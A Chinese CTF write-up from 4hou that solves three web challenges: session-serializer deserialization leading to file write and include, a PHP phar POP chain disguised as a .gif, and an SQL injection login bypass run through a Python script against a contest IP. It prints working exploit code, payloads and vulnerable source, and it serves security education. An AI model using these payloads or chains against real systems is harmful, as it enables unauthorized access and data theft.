2019巅峰极客Online & Web题解:被玩坏的LOL - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

2019巅峰极客Online & Web题解:被玩坏的LOL

一叶飘零 web安全 2019-10-23 10:37:45
998961
收藏

导语:周六看了一下巅峰极客的几道web题,难度不是很大,但是脑洞有一些,以下是题目记录。

前言

周六看了一下巅峰极客的几道web题,难度不是很大,但是脑洞有一些,以下是题目记录。

LOL

拿到题目后,发现有一个上传页面:

2019-10-19-10-50-10.png

点进去发现可控参数名较多,但最可疑的还是上传文件位置:

2019-10-19-10-50-21.png

尝试上传一个文件,发现有两个路径,一个是upload,一个是download:

2019-10-19-10-51-20.png

经过测试发现,文件名不是通过filename控制,而是通过phpsessionid控制:

2019-10-19-10-51-42.png

尝试目录穿越,发现upload路径突然变成了绝对路径= =,估计代码哪里出现了问题:

2019-10-19-10-52-05.png

同时访问文件,可以发现文件内容确实有写入:

2019-10-19-10-55-46.png

然后就陷入了沉思,直到题目提示,注意download功能,又经过大量测试发现download功能的下载路径,是拼接了phpsessionid的路径的,于是我们首先创立upload目录:

2019-10-20-09-09-58.png

然后进行任意源码读取:

2019-10-20-09-10-02.png

我们可以通过该方法leak出整个网站的源码。

审计源码,发现可疑类:Cache.class.php

<?php
class Cache{
    public $data;
    public $sj;
    public $path;
    public $html;
    function __construct($data){
        $this->data['name']=isset($data['post']['name'])?$data['post']['name']:'';
        $this->data['message']=isset($data['post']['message'])?$data['post']['message']:'';
        $this->data['image']=!empty($data['image'])?$data['image']:'/static/images/pic04.jpg';
        $this->path=Cache_DIR.DS.session_id().'.php';
    }
    function __destruct(){
        $this->html=sprintf('<!DOCTYPE HTML><html><head><title>LOL</title><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" /><link rel="stylesheet" href="/static/css/main.css" /><noscript><link rel="stylesheet" href="/static/css/noscript.css" /></noscript>   </head> <body class="is-preload"><div id="wrapper"><header id="header"> <div class="logo"><span class="icon fa-diamond"></span> </div>  <div class="content"><div class="inner">    <h1>Hero of you</h1></div>  </div>  <nav><ul>   <li><a href="#you">YOU</a></li></ul>    </nav></header><div id="main"><article id="you">    <h2 class="major" ng-app>%s</h2>    <span class="image main"><img src="%s" alt="" /></span> <p>%s</p><button type="button" onclick=location.href="/download/%s">下载</button></article></div><footer id="footer"></footer></div><script src="/static/js/jquery.min.js"></script><script src="/static/js/browser.min.js"></script><script src="/static/js/breakpoints.min.js"></script><script src="/static/js/util.js"></script><script src="/static/js/main.js"></script><script src="/static/js/angular.js"></script>   </body></html>',substr($this->data['name'],0,62),$this->data['image'],$this->data['message'],session_id().'.jpg');
        if(file_put_contents($this->path,$this->html)){
            include($this->path);
        }
    }
}

发现该类有任意文件写的功能,那么思考如何触发反序列化,这里可以用到Jarvis OJ / 2018 LCTF早就考过的考点:

https://skysec.top/2017/08/16/jarvisoj-web/#PHPINFO
https://skysec.top/2018/11/17/2018-Xctf%20Final&LCTF-Bestphp/#bestphp%E2%80%99s-revenge

利用php session引擎的不同,进行反序列化,达成任意文件写入的目的:

2019-10-20-09-10-40.png

最终可以getflag。

upload

打开题目发现有3个功能:

文件下载
文件上传
查看文件

依次打开,发现查看文件存在任意文件读取:

/file.php?file=/var/www/html/index.php

通过如上方法拖出所有源码,审计代码,发现文件查看功能使用了类:

2019-10-19-14-03-56.png

那么容易想到phar反序列化,因为file_exists可以触发phar反序列化,于是迅速查找类的定义:

<?php
class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $text= $this->source;
        $text = base64_encode(file_get_contents($text));
        return $text;
    }
    public function __toString()
    {
        $text= $this->source;
        $text = base64_encode(file_get_contents($text));
        return $text;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|flag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class S6ow
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->params[$key];
    }
    public function __call($name, $arguments)
    {
        if($this->{$name})
            $this->{$this->{$name}}($arguments);
    }
    public function file_get($value)
    {
        echo $this->file;
    }
}
class Sh0w
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = new Show('index.php');
        $this->str->source = $this->test;
    }
    public function __destruct()
    {
        $this->str->_show();
    }
}
?>

一般来说,反序列化的入口都可以从__destruct()发起,我们可以看到起调用了一个方法_show(),而这里如果str属性赋值为S6ow的对象,那么就会触发S6ow类的__call魔法方法,而当S6ow调用$name变量(_show)时,又会触发其__get方法,在__get方法中,由于之前访问的不可访问方法,会变为

return $this->params['_show'];

那么此时,只要给其赋值为file_get,即可利用echo触发show类的__toString魔法方法:

params['_show'] = 'file_get'

最终在show类的__toString魔法方法完成利用:

   public function __toString()
    {
        $text= $this->source;
        $text = base64_encode(file_get_contents($text));
        return $text;
    }

赋值source为/flag即可,那么可以构造exp如下:

<?php
class Show
{
    public $source;
    public $str;
}
class S6ow
{
    public $file;
    public $params;
}
class Sh0w
{
    public $test;
    public $str;
}
$sky = new Show();
$sky->source = "/flag";
$sky1 = new S6ow();
$sky1->params['_show'] = 'file_get';
$sky1->file = $sky;
$sky2 = new Sh0w();
$sky2->str = $sky1;
$phar = new Phar('skyfuck.phar');
$phar->startBuffering();
$phar->addFromString('test.php', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($ss);
$phar->stopBuffering();
rename('skyfuck.phar', 'skyfuck.gif');

运行脚本后生成skyfuck.gif,上传后,利用file.php的文件读取,使用phar://去访问该文件,最终可以拿到flag:

2019-10-19-13-58-59.png

aweb_1

拿到题目,发现有注册和登录功能,同时提示只有admin才可以拿到flag,那么猜测是一道二次注入的题目,为了测试方便,写了一个脚本:

import requests
s = requests.session()
url_signup = 'http://47.104.173.173:7002/signup'
url_login = 'http://47.104.173.173:7002/login'
email = '222@3333.com'
payload = "admin'or'dddd'='dddd#"
data = {
'email':email,
'name':payload,
'password':'1'
}
s = requests.post(url=url_signup,data=data)
if 'Email address already exists' in s.content:
print 'Email address already exists.'
elif 'Username already exists.' in s.content:
print 'Username already exists.'
else:
data = {
'email':email,
'password':'1'
}
s = requests.post(url_login,data)
print s.content

发现题目过滤了空格,那么我们构造"万能密码",也就是闭合admin为恒真条件,即可拿到flag:

2019-10-19-13-58-31.png

后记

总的来说,个人感觉第一道LOL的题目其实出的还行,就是刚开始leak源码的思路比较难想到,在这里卡了很久~

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务